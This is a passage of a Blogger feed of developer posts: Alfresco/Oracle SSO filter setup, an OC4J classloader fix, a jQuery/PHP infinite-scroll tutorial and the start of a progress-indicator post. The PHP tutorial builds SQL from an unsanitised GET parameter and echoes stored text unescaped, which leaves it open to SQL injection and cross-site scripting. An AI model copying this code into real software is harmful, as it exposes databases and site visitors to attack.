/&gt;* Set the authenticated user.&lt;br /&gt;*&lt;br /&gt;* It does not check that the user exists at the moment.&lt;br /&gt;*&lt;br /&gt;* @param req&lt;br /&gt;* @param httpSess&lt;br /&gt;* @param userName&lt;br /&gt;*/&lt;br /&gt;private void setAuthenticatedUser(HttpServletRequest req, HttpSession httpSess, String userName) {&lt;br /&gt;if (userName != null){&lt;br /&gt;UserTransaction tx1 = transactionService.getUserTransaction();&lt;br /&gt;// Set the authentication&lt;br /&gt;try {&lt;br /&gt;tx1.begin();&lt;br /&gt;authComponent.setCurrentUser(userName);&lt;br /&gt;tx1.commit();&lt;br /&gt;} catch (Throwable ex) {&lt;br /&gt;logger.error(ex);&lt;br /&gt;try {&lt;br /&gt;tx1.rollback();&lt;br /&gt;} catch (Exception ex2) {&lt;br /&gt;logger.error("Failed to rollback transaction", ex2);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Set up the user information&lt;br /&gt;UserTransaction tx = transactionService.getUserTransaction();&lt;br /&gt;NodeRef homeSpaceRef = null;&lt;br /&gt;User user;&lt;br /&gt;try {&lt;br /&gt;tx.begin();&lt;br /&gt;user = new User(userName, authService.getCurrentTicket(), personService.getPerson(userName));&lt;br /&gt;homeSpaceRef = (NodeRef) nodeService.getProperty(personService.getPerson(userName), ContentModel.PROP_HOMEFOLDER);&lt;br /&gt;if(homeSpaceRef == null) {&lt;br /&gt;logger.warn("Home Folder is null for user '"+userName+"', using company_home.");&lt;br /&gt;homeSpaceRef = (NodeRef) nodeService.getRootNode(Repository.getStoreRef());&lt;br /&gt;}&lt;br /&gt;user.setHomeSpaceId(homeSpaceRef.getId());&lt;br /&gt;tx.commit();&lt;br /&gt;} catch (Throwable ex) {&lt;br /&gt;logger.error(ex);&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;tx.rollback();&lt;br /&gt;} catch (Exception ex2) {&lt;br /&gt;logger.error("Failed to rollback transaction", ex2);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (ex instanceof RuntimeException) {&lt;br /&gt;throw (RuntimeException) ex;&lt;br /&gt;} else {&lt;br /&gt;throw new RuntimeException("Failed to set authenticated user", ex);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Store the user&lt;br /&gt;httpSess.setAttribute(AuthenticationHelper.AUTHENTICATION_USER, user);&lt;br /&gt;httpSess.setAttribute(LoginBean.LOGIN_EXTERNAL_AUTH, Boolean.TRUE);&lt;br /&gt;&lt;br /&gt;// Set the current locale from the Accept-Lanaguage header if available&lt;br /&gt;Locale userLocale = parseAcceptLanguageHeader(req, m_languages);&lt;br /&gt;&lt;br /&gt;if (userLocale != null) {&lt;br /&gt;httpSess.setAttribute(LOCALE, userLocale);&lt;br /&gt;httpSess.removeAttribute(MESSAGE_BUNDLE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Set the locale using the session&lt;br /&gt;I18NUtil.setLocale(Application.getLanguage(httpSess));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void init(FilterConfig config) throws ServletException {&lt;br /&gt;this.context = config.getServletContext();&lt;br /&gt;WebApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);&lt;br /&gt;ServiceRegistry serviceRegistry = (ServiceRegistry) ctx.getBean(ServiceRegistry.SERVICE_REGISTRY);&lt;br /&gt;transactionService = serviceRegistry.getTransactionService();&lt;br /&gt;nodeService = serviceRegistry.getNodeService();&lt;br /&gt;&lt;br /&gt;authComponent = (AuthenticationComponent) ctx.getBean("authenticationComponent");&lt;br /&gt;authService = (AuthenticationService) ctx.getBean("authenticationService");&lt;br /&gt;personService = (PersonService) ctx.getBean("personService");&lt;br /&gt;&lt;br /&gt;// Get a list of the available locales&lt;br /&gt;ConfigService configServiceService = (ConfigService) ctx.getBean("webClientConfigService");&lt;br /&gt;LanguagesConfigElement configElement = (LanguagesConfigElement) configServiceService.getConfig("Languages").getConfigElement(LanguagesConfigElement.CONFIG_ELEMENT_ID);&lt;br /&gt;&lt;br /&gt;m_languages = configElement.getLanguages();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Return the login page address&lt;br /&gt;*&lt;br /&gt;* @return String&lt;br /&gt;*/&lt;br /&gt;private String getLoginPage() {&lt;br /&gt;if (loginPage == null) {&lt;br /&gt;loginPage = Application.getLoginPage(context);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return loginPage;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- STEP 2 Place this class file under &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;C:\Alfresco\tomcat\webapps\alfresco\WEB-INF\classes\my\custom&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- STEP 3 Now you need to configure proxy pass in oc4j's httpd.conf file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ORACLE_HOME/Apache/Apache/conf/httpd.conf, add the following entries:                                                                                    ProxyPass /alfresco/ http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;ProxyPass /alfresco http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ProxyPassReverse /alfresco/ http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;ProxyPassReverse /alfresco http://host:8080/alfresco/&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;-- STEP 4 Now you need to enable sso on oracle portal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;edit $ORACLE_HOME/Apache/Apache/conf/mod_osso.conf, add the following lines just before the :&lt;br /&gt;require valid-user&lt;br /&gt;AuthType Basic&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;require valid-user&lt;br /&gt;AuthType Basic&lt;br /&gt;&lt;br /&gt;Please restart apache after you have made this configuration &lt;/pre&gt;&lt;br /&gt;-- STEP 5 Edit web xml file under&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;C:\Alfresco\tomcat\webapps\alfresco\WEB-INF&lt;br /&gt;&lt;br /&gt;paste below lines before Authentication Filter &lt;br /&gt;&lt;br /&gt;&amp;lt;filter&amp;gt;&lt;br /&gt;&amp;lt;filter-name&amp;gt;Osso Filter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;&amp;lt;filter-class&amp;gt;my.custom.OSSOAuthenticationFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;&amp;lt;/filter&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;filter-mapping&amp;gt;&lt;br /&gt;&amp;lt;filter-name&amp;gt;Osso Filter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;&amp;lt;url-pattern&amp;gt;/faces/jsp/browse/browse.jsp&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;&amp;lt;/filter-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;filter&amp;gt;&lt;br /&gt;&amp;lt;filter-name&amp;gt;Osso Filter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;&amp;lt;filter-class&amp;gt;my.custom.OSSOAuthenticationFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;&amp;lt;/filter&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;filter-mapping&amp;gt;&lt;br /&gt;&amp;lt;filter-name&amp;gt;Osso Filter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;&amp;lt;url-pattern&amp;gt;/alfresco&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;&amp;lt;/filter-mapping&amp;gt; &lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;-- STEP 6 If alfresco is already running then stop and start alfresco&lt;br /&gt; service from start menu under start -&amp;gt; alfresco -&amp;gt; stop alfreco &lt;br /&gt;virtual server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thats it, now oracle sso is configured successfully for Alfreco&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Try opening http://oc4jserverhost/alfresco, it will redirect to oracle &lt;br /&gt;portal sso login page, enter credentials, it will then redirect you to &lt;br /&gt;alfresco home page on successful login.&lt;br /&gt;&lt;br /&gt;Any issues implementing this, feel free to contact me..&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7507242649594299584?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7507242649594299584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7507242649594299584' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7507242649594299584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7507242649594299584'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/08/alfresco-webdav-sso-configuration.html' title='Alfresco Webdav SSO Configuration'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4472488500541439695</id><published>2011-08-02T05:51:00.000-07:00</published><updated>2011-08-02T05:51:48.015-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='standard.jar errors'/><category scheme='http://www.blogger.com/atom/ns#' term='escapeXML error'/><category scheme='http://www.blogger.com/atom/ns#' term='OC4J standard.jar'/><title type='text'>Conflicting standard.jar with OC4J server</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today i was working on an application that was to be deployed on LIVE oc4j application server. The deployment went successful but when the application was being tested there were many errors as below related to standard. jar that was in OC4J lib and in my application's classpath.&lt;br /&gt;&lt;br /&gt;The errors i got are as under ::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;11/08/02 13:31:07 vqwiki.WikiException: org.apache.taglibs.standard.tag.common.core.Util.escapeXml(Ljava/lang/String;)Ljava/lang/String;&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at vqwiki.servlets.SaveTopicServlet.doPost(SaveTopicServlet.java:150)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at javax.servlet.http.HttpServlet.service(HttpServlet.java:760)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:835)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.forward(ServletRequestDispatcher.java:230)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at vqwiki.servlets.VQWikiServlet.dispatch(VQWikiServlet.java:107)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at vqwiki.servlets.WikiServlet.doPost(WikiServlet.java:733)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at javax.servlet.http.HttpServlet.service(HttpServlet.java:760)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:835)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.forward(ServletRequestDispatcher.java:230)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at vqwiki.servlets.FrontControllerFilter.doFilter(FrontControllerFilter.java:91)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.EvermindFilterChain.doFilter(EvermindFilterChain.java:16)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at vqwiki.servlets.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:74)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:670)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.HttpRequestHandler.handleNotFound(HttpRequestHandler.java:1038)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.HttpRequestHandler.processRequest(HttpRequestHandler.java:853)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.AJPRequestHandler.run(AJPRequestHandler.java:231)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.server.http.AJPRequestHandler.run(AJPRequestHandler.java:136)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at com.evermind.util.ReleasableResourcePooledExecutor$MyWorker.run(ReleasableResourcePooledExecutor.java:192)&lt;br /&gt;11/08/02 13:31:07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at java.lang.Thread.run(Thread.java:534)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I resolved this error by editing my web application's orion-web.xml&lt;br /&gt;&lt;br /&gt;I un-commented below line from the file :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&amp;lt;!-- Uncomment this element to control web application class loader behavior. --&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;web-app-class-loader search-local-classes-first="true"&amp;nbsp; include-war-manifest-class-path="true" /&amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Regards,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4472488500541439695?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4472488500541439695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4472488500541439695' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4472488500541439695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4472488500541439695'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/08/conflicting-standardjar-with-oc4j.html' title='Conflicting standard.jar with OC4J server'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7416019662381618101</id><published>2011-07-25T02:20:00.000-07:00</published><updated>2011-07-25T02:21:28.938-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scrolling data'/><category scheme='http://www.blogger.com/atom/ns#' term='Load Data while Scrolling Page Down with jQuery and PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='load data scrolling'/><title type='text'>Load Data while Scrolling Page Down with jQuery and PHP</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi All,&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Today, i will show you data loading while page scrolling down with jQuery and PHP&lt;/i&gt;. We have lots of data but can not display all. This script helps you to display little data and make faster your website.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Database Table&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;CREATE TABLE &lt;span style="color: blue;"&gt;messages&lt;/span&gt;(&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;mes_id&lt;/span&gt; INT &lt;span style="color: purple;"&gt;PRIMARY KEY&lt;/span&gt; &lt;span style="color: #274e13;"&gt;AUTO_INCREMENT&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;msg&lt;/span&gt; TEXT);&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/pre&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;load_data.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When we are scrolling down a webpage, the script($(window).scroll) finds that you are at the bottom and calls the last_msg_funtion(). Take a look at $.post("") eg: $.post("load_data.php?action=get&amp;amp;last_msg_id=35") &lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;?php&lt;br /&gt;include('config.php');&lt;br /&gt;$last_msg_id=$_GET['last_msg_id'];&lt;br /&gt;$action=$_GET['action'];&lt;br /&gt;&lt;br /&gt;if($action &amp;lt;&amp;gt; "get")&lt;br /&gt;{&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="jquery.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;$(document).ready(function()&lt;br /&gt;{&lt;br /&gt;function last_msg_funtion()&lt;br /&gt;{&lt;br /&gt;var ID=$(".message_box:last").attr("id");&lt;br /&gt;$('div#last_msg_loader').html('&amp;lt;img src="bigLoader.gif"&amp;gt;');&lt;br /&gt;$.post("load_data.php?action=get&amp;amp;last_msg_id="+ID,&lt;br /&gt;&lt;br /&gt;function(data){&lt;br /&gt;if (data != "") {&lt;br /&gt;$(".message_box:last").after(data);&lt;br /&gt;}&lt;br /&gt;$('div#last_msg_loader').empty();&lt;br /&gt;});&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;$(window).scroll(function(){&lt;br /&gt;if ($(window).scrollTop() == $(document).height() - $(window).height()){&lt;br /&gt;last_msg_funtion();&lt;br /&gt;}&lt;br /&gt;});&lt;br /&gt;});&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;include('load_first.php'); //Include load_first.php&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;div id="last_msg_loader"&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;include('load_second.php'); //include load_second.php&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;load_first.php&lt;br /&gt;Contains PHP code to load 20 rows form the message table.&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$sql=mysql_query("SELECT * FROM messages ORDER BY mes_id DESC LIMIT 20");&lt;br /&gt;while($row=mysql_fetch_array($sql))&lt;br /&gt;{&lt;br /&gt;$msgID= $row['mes_id'];&lt;br /&gt;$msg= $row['msg'];&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;div id="&amp;lt;?php echo $msgID; ?&amp;gt;" class="message_box" &amp;gt; &lt;br /&gt;&amp;lt;?php echo $msg; ?&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt; &lt;br /&gt;&amp;lt;?php&lt;br /&gt;} &lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/pre&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;load_second.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Contains PHP code to load 5 rows less than &lt;i&gt;last_msg_id&lt;/i&gt; form the &lt;i&gt;message&lt;/i&gt; table.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;?php&lt;br /&gt;$last_msg_id=$_GET['last_msg_id'];&lt;br /&gt;$sql=mysql_query("SELECT * FROM messages WHERE mes_id &amp;lt; '$last_msg_id' ORDER BY mes_id DESC LIMIT 5");&lt;br /&gt;$last_msg_id="";&lt;br /&gt;while($row=mysql_fetch_array($sql))&lt;br /&gt;{&lt;br /&gt;$msgID= $row['mes_id'];&lt;br /&gt;$msg= $row['msg']; &lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;div id="&amp;lt;?php echo $msgID; ?&amp;gt;" class="message_box" &amp;gt; &lt;br /&gt;&amp;lt;?php echo $msg;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;} &lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;CSS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;body&lt;br /&gt;{&lt;br /&gt;font-family:'Georgia',Times New Roman, Times, serif;&lt;br /&gt;font-size:18px;&lt;br /&gt;}&lt;br /&gt;.message_box&lt;br /&gt;{&lt;br /&gt;height:60px;&lt;br /&gt;width:600px;&lt;br /&gt;border:dashed 1px #48B1D9;&lt;br /&gt;padding:5px ;&lt;br /&gt;}&lt;br /&gt;#last_msg_loader&lt;br /&gt;{&lt;br /&gt;text-align: right;&lt;br /&gt;width: 920px;&lt;br /&gt;margin: -125px auto 0 auto;&lt;br /&gt;}&lt;br /&gt;.number&lt;br /&gt;{&lt;br /&gt;float:right;&lt;br /&gt;background-color:#48B1D9;&lt;br /&gt;color:#000;&lt;br /&gt;font-weight:bold;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Please let me know any problems implementing this or any suggetions you have.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjjwal Soni&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7416019662381618101?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7416019662381618101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7416019662381618101' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7416019662381618101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7416019662381618101'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/07/load-data-while-scrolling-page-down.html' title='Load Data while Scrolling Page Down with jQuery and PHP'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4938753921021112464</id><published>2011-07-21T04:22:00.000-07:00</published><updated>2011-07-21T04:22:09.889-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jquery progress indicator'/><category scheme='http://www.blogger.com/atom/ns#' term='progress indicator'/><category scheme='http://www.blogger.com/atom/ns#' term='Cool jQuery Progress Indicator'/><title type='text'>Cool jQuery Progress Indicator</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today I am going to show you how you can create a cool progress  indicator to tell your end user that something is going on behind the  back of an action. Below is an image of the progress indicator that  slides from the top to the middle of the screen then displays the  processing message then slides up and disappears once done. This code does not use any other 3rd party jquery plugin to display progress indicator.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script src="scripts/jquery.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script type="text/javascript" &amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var $j = jQuery.noConflict();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j(document).ready(function(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#btnSubmit").click(function(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messenger").css("width", document.body.offsetWidth);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messenger").css("height", document.body.offsetHeight);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; 